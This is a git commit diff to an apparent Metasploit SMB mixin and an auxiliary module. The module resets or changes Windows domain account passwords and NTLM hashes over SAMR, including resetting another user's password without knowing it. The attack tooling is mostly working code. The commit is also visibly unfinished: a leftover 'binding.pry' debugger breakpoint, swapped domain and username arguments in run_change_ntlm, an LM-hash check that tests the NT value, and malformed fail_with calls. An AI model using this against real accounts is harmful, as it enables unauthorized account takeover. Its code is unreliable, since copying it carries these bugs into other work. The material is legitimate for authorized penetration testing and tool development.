Add Reset and Change_NTLM actions

This commit is contained in:
Ashley Donaldson
2024-11-20 12:11:52 +11:00
parent 479078a5f2
commit 8158cf5bae
2 changed files with 74 additions and 20 deletions
+17 -8
View File
@@ -149,10 +149,19 @@ module Msf
# You should call {#connect} before calling this
#
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
# @param opts [Hash] Options to override the datastore options
# @option :username [String] Override SMBUser datastore option
# @option :domain [String] Override SMBDomain datastore option
# @option :password [String] Override SMBPass datastore option
# @option :auth_protocol [String] Override SMB::Auth datastore option
# @return [void]
def smb_login(simple_client = self.simple)
def smb_login(simple_client = self.simple, opts: {})
username = opts.fetch(:username) {datastore['SMBUser']}
domain = opts.fetch(:domain) {datastore['SMBDomain']}
password = opts.fetch(:password) {datastore['SMBPass']}
smb_auth = opts.fetch(:auth_protocol) {datastore['SMB::Auth']}
# Override the default RubySMB capabilities with Kerberos authentication
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
if smb_auth == Msf::Exploit::Remote::AuthOption::KERBEROS
fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes'])
@@ -162,9 +171,9 @@ module Msf
host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'],
hostname: datastore['Smb::Rhostname'],
proxies: datastore['Proxies'],
realm: datastore['SMBDomain'],
username: datastore['SMBUser'],
password: datastore['SMBPass'],
realm: domain,
username: username,
password: password,
framework: framework,
framework_module: self,
cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'],
@@ -178,9 +187,9 @@ module Msf
simple_client.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
username,
password,
domain,
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
+57 -12
View File
@@ -34,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
[ 'RESET', { 'Description' => "Reset the target's password without knowing the existing one (requires appropriate permissions)" } ],
[ 'RESET_NTLM', { 'Description' => "Reset the target's NTLM hash, without knowing the existing password. This will not update kerberos keys." } ],
[ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one.' } ]
[ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one.' } ],
[ 'CHANGE_NTLM', { 'Description' => 'Change the password to a NTLM hash value, knowing the existing password. Can be either an NT hash or a colon-delimited NTLM hash' } ]
],
'DefaultAction' => 'RESET'
)
@@ -43,8 +44,8 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
OptString.new('NEW_PASSWORD', [false, 'The new password to change to', '']),
OptString.new('TARGET_USER', [false, 'The user to change the password of. If not provided, will change for the account provided in SMBUser', ''], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]]),
OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to', ''])
OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to', '']),
OptString.new('TARGET_USER', [false, 'The user to change the password of. If not provided, will change for the account provided in SMBUser'], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]])
]
)
end
@@ -68,6 +69,8 @@ class MetasploitModule < Msf::Auxiliary
end
def run
fail_with('Must set NEW_PASSWORD on NEW_NTLM') if datastore['NEW_PASSWORD'].blank? && datastore['NEW_NTLM'].blank?
case action.name
when 'CHANGE'
run_change
@@ -75,6 +78,8 @@ class MetasploitModule < Msf::Auxiliary
run_reset
when 'RESET_NTLM'
run_reset_ntlm
when 'CHANGE_NTLM'
run_change_ntlm
end
# Don't disconnect the client if it's coming from the session so it can be reused
@@ -96,6 +101,7 @@ class MetasploitModule < Msf::Auxiliary
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
binding.pry
if anonymous_on_expired &&
(e.source.is_a?(Rex::Proto::Kerberos::Model::Error::KerberosError) && [Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED].include?(e.source.error_code) ||
e.source.is_a?(::WindowsError::ErrorCode) && [::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED, ::WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE].include?(e.source))
@@ -139,15 +145,55 @@ class MetasploitModule < Msf::Auxiliary
end
def run_reset
def parse_ntlm_from_config
new_ntlm = datastore['NEW_NTLM']
case new_ntlm.count(':')
when 0
new_nt = new_ntlm
new_lm = nil
when 1
new_nt, new_lm = new_ntlm.split(':')
else
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid value for NEW_NTLM')
end
new_nt = Rex::Text::hex_to_raw(new_nt)
new_lm = Rex::Text::hex_to_raw(new_lm) unless new_lm.nil?
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid NT hash value in NEW_NTLM') unless new_nt.length == 16
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid LM hash value in NEW_NTLM') unless new_lm.nil? || new_nt.length == 16
[new_nt, new_lm]
end
def get_user_handle(domain, username)
@server_handle = @samr.samr_connect
domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain)
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid)
user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [username])
fail_with(Module::Failure::BadConfig, "Could not find #{domain}\\#{username}") if user_rids.nil?
rid = user_rids[username][:rid]
@samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
end
def run_change_ntlm
authenticate(anonymous_on_expired: false)
@server_handle = @samr.samr_connect
domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: datastore['SMBDomain'])
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid)
user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [datastore['TARGET_USER']])
rid = user_rids[datastore['TARGET_USER']][:rid]
user_handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
user_handle = get_user_handle(datastore['SMBUser'], datastore['SMBDomain'])
new_nt, new_lm = parse_ntlm_from_config
@samr.samr_change_password_user(user_handle: user_handle,
old_password: datastore['SMBPass'],
new_nt_hash: new_nt,
new_lm_hash: new_lm)
end
def run_reset
fail_with('Must set TARGET_USER') if datastore['TARGET_USER'].blank?
authenticate(anonymous_on_expired: false)
user_handle = get_user_handle(datastore['TARGET_USER'], datastore['SMBDomain'])
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
@@ -168,6 +214,7 @@ class MetasploitModule < Msf::Auxiliary
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully changed password")
end
def run_change
@@ -184,8 +231,6 @@ class MetasploitModule < Msf::Auxiliary
rescue ::StandardError => e
raise e
ensure
@samr.close_handle(@domain_handle) if @domain_handle
@samr.close_handle(@server_handle) if @server_handle
@samr.close if @samr
@tree.disconnect! if @tree
end